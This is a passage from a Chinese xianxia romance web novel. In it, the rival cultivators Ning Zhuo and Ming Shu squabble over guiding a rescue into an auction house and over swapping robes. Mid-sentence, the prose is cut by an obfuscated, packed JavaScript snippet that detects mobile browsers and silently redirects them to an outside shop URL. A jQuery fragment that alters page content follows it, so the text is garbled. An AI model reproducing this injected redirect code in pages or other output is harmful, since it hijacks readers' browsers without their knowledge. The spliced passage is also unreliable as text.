故意和妖族撇清关系,为的就是不留把柄给讨人厌的女修,就算她以后发现,也没借口发难。
宁灼为自己的深思熟虑而庆幸,他真是太聪明了。
解决完后顾之忧,就要实现自己的承诺了,要救被抓的小妖。
他凤眼斜向明姝,语气生硬,带着命令的意味,“你带路,本公子要去拍卖场后台。”
明姝妆似惶恐地后退几步,眉眼低垂,弱弱地摇头拒绝,怕他误会,赶忙为难地解释,“公子,我不行,我没灵力,会连累你们。”
"而且公子不信我,对我心存质疑,我虽然被关过拍卖场后台,但并不熟悉路线,万一不小心出错了,岂不是要怪罪我……“
“我自小命运多舛,总能遇到莫名其妙的人和我过不去,性子谨小慎微,这种事,恕我实在不敢做,请公子放过我。”
莫名其妙的人和她过不去……
宁灼总觉得自己被内涵了。
但她确实没说错,自己就是故意和她过不去,毕竟两人之间的过节,他根本不会、也不可能和她过去。
不过此时是她带不带路的问题。
看她装的像模像样,连自小命运多舛都编出来了。
修真界谁不知道,剑宗大师姐资质绝佳,自小被明流道尊捡到带回剑宗,收为座下弟子,剑宗宗主的亲传弟子,这种身份,怎么也不可能命运多舛吧。
宁灼觉得头钝钝的疼,好想扯下帷帽,光明正大地质问她,撕破她的假面目。
忍了忍,宁灼也明白了,反正她就是不想带路,不想帮他们救小妖罢了。
他也烦了,朝她挥挥手。
“本公子身边不留无用之人,既然你连带路这点事都不愿意,本公子好心,也不将你送回拍卖场了,你自行离去吧。”
“可你现在灵力被封,柔弱毫无反抗之力的貌美女修,独自在修真界行走,是什么下场,想来不用本公子告诉你。”
直白赤裸的威胁,明姝顿觉不能将人逼急了,眼神闪躲,时不时偷看他一眼,期期艾艾犹豫道,“我没有不愿意,只是公子不信任我,我难免有些恐慌,怕出错……”
“可常言,越怕出错,更易出错……”
“我只是……只是怕连累公子你们。”
关键时刻,葱三从宁灼身后站出来,像从天而降的英雄,毅然决然挡在明姝面前。
“公子,仙子胆小,你不要吓到她。”
“偷偷潜入拍卖场救人这种事太危险,万一真出了什么事,公子你定要迁怒于她,仙子有顾虑也没错,说来,都是你不相信人家。”
“公子,你快向仙子道歉,告诉她你相信她,无论发生什么事,你都不会责怪她,会保护她,爱护她。”
边说边对他挤眉弄眼,突然发现帷帽挡住了,自家公子根本看不到,于是他抬手,向他打手势,示意他快点服软。
心中暗想,自家公子心高气傲,好不容易看上一女修,不会博人家的欢心就罢了,还无情地威胁人家。
万一人家真走了,公子就自己一个人晚上咬小被角哭吧。
幸好有他这个知心的下属。
宁灼沉默片刻,狠瞪葱三一眼,偏过头,却有断续的声音传过来,“本公子许诺,相信你,不会怪你……”
声音不大,却代表着是他服软了。
拍卖已经结束了,拍卖场的人陆续离场,事情再拖,救妖会更加困难,时间紧急,事情就这么僵着反而于他们不利。
反正只是短暂的屈服而已,讨人厌的女修也不知道是他,没错,屈服的是拍卖场着急救妖的小公子,和他丹宗小师弟宁灼没关系。
他如此安慰自己,萎靡了片刻,又打起精神,准备继续和讨人厌的女修斗智斗勇。
明姝松了口气,她就是不想白白帮死对头,两人积怨已深,先前他还嫌弃她,连拍卖凰羽附赠的她都不要,她实在不甘心这么输给死对头,找个借口想让他先低头而已。
可这次到底是救了她,这份恩情,她也不可能不帮。
谎话编了这么多,她也有点编不下去了。
还好他看清了形式,意识到她的重要性,识趣地让她赢了回来。
明姝心情很好,明眸流光溢彩,注视着两人,全然没了刚刚的怯懦。
“那就走吧,救人……救妖去。”
拍卖结束了有一会,拍卖场中的人正陆续离场,放眼望去,满场黑影在蠕动,拍卖场特有的帷帽和黑袍隔绝视线和灵识,不容人窥探,根本分辨不清人影。
正方便他们潜入拍卖场后台。
为了方便行事,宁灼计划只带葱三,再加上带路的明姝,一共三人。
随行的妖侍和暗中保护的大妖都留在场外等候,若有意外,会及时给他们传消息,让他们在外面制造些混乱,拖延时间。
宁灼环视三人,目光在明姝身上定住。
她穿着剑宗的弟子服,一身颜色惨白的衣服,布料粗糙,素气的没有点半装饰,和她那张浓艳的脸形成强烈的反差,一点都不搭配。
啧啧啧,剑宗真穷。
被打量的人察觉到他的视线,若有所思望过来,宁灼轻咳一声,赶在她开口前,指了指她身上。
“你这身衣服太过显眼,不便行动。”
“本公子让属下……”
话未说完,被葱三横插打断。
“让公子将他的衣服换给你,我等属下都是不爱干净的大汉,让仙子穿我们的衣服,属实委屈仙子了,倒是我们公子,长得又好看又爱干净,他的衣服更适合仙子。”
帷帽遮挡,旁人看不见,宁灼眉心扭成了毛毛虫,恨不得直接打死葱三。
“本公子要和你们一起潜入,我的衣服给她,那我穿什么?”
葱三理所应当,“当然是穿属下或妖侍的衣服。”
宁灼只觉得他在说废话,换来换去何必多麻烦一趟,直接让讨人厌的女修穿妖侍的衣服不就行了,妖侍身为妖物是不大爱干净,甚至身上还有些难闻的味道。
但现下时间紧急,哪来这么多讲究。
于是,宁灼当机立断的拍定。
“不必这么麻烦,直接让妖侍脱了黑袍……”
还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517147|202702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未说完,又被打断了。
明姝目光在几个妖侍和宁灼身上打转,那几个妖侍身材魁梧,大概本体是什么有味道的妖物,隐隐有不太好的气味飘过来。
她不要穿妖穿过的衣服,妖和死对头宁灼,她选择宁灼。
“我要穿你的衣服。”
“快脱给我。”
明珠直接去拽宁灼的袖子,生怕慢些就被强迫穿妖侍的衣服。
他猝不及防,被拽的一个踉跄,心中升起诡异的羞耻感,略有些慌乱地打掉她的手,退开几步,与她拉开距离,缓了口气,才道,“时间紧急,你先穿妖侍的衣服。”
“不行。”
明姝揉着泛疼的手背,心情不太好,一口拒绝,“我绝不可能穿其他人的衣服,既然你不愿意,那我就不去了,你们再找其他人帮你们带路吧。”
反正她不可能穿一个不知名动物穿过的衣服。
万一是什么屎壳郎、黄鼠狼什么的,太恶心了……
幸好还有死对头。
明姝生出几分庆幸来。
她态度愈发坚决,死死盯着宁灼,等他的回答。
见状,宁灼又忍不住后退几步,心中有种奇怪的别扭感,装作看向葱三,避开她的目光。
“把你的衣服给我。”
他也不愿意穿那些个妖侍的衣服,臭烘烘的。
葱三很干脆,当即就解开腰间系带将黑袍脱下来递给宁灼。
宁灼接过,手已经放到了腰上,正要去解自己的,突然想起自己里面还是丹宗小师弟惯常的穿着,赶忙住手。
警惕瞥了眼明姝,小声道,“本公子身份不一般,不能让人看到本公子的穿着,会暴露本公子身份。”
明姝心中暗啧,不就是怕她认出他嘛,面上她点了点头,装作什么都不知道。
宁灼放下心,让妖侍另围了个结界,自己在里面偷偷换上葱三的黑袍。
抓着自己刚换下的黑袍,想到等会它会穿到讨人厌的女修身上,沾上她的体温,那股诡异的羞耻感和不自在感又冒出来,熏的脑袋发热,整个人好像飘起来了,昏昏欲醉。
好在头上有帷帽遮掩,他走出结界,才没露出异样。
自若地将黑袍递给她,明姝瞅了他一眼,总觉得他有些奇怪,但并没有深想,接过衣服转身就披上了。
黑袍是拍卖场特意提供给客人的,可以隔绝视线和灵识窥探,来参加拍卖的修士各不知其身份,拍卖以财力说话,不掺加恩怨情仇,是各大拍卖场的惯用手段。
布料摸起来丝丝滑滑,不知道是什么制成,大概是刚刚还穿在死对头身上的原因,温温热热,带着股他身上的清淡气息。
明姝也说不出这味道到底是什么,好像是火焰灼烧草木时带出的点点青涩,又好像是火焰焚尽一切的干燥灰烬。
很特别,很好闻。
她还挺喜欢的。
更觉自己向死对头讨要衣服是正确的,就是委屈死对头,要穿属下的衣服。
算了,死道友不死贫道。
委屈一下死对头,你好我好大家都好。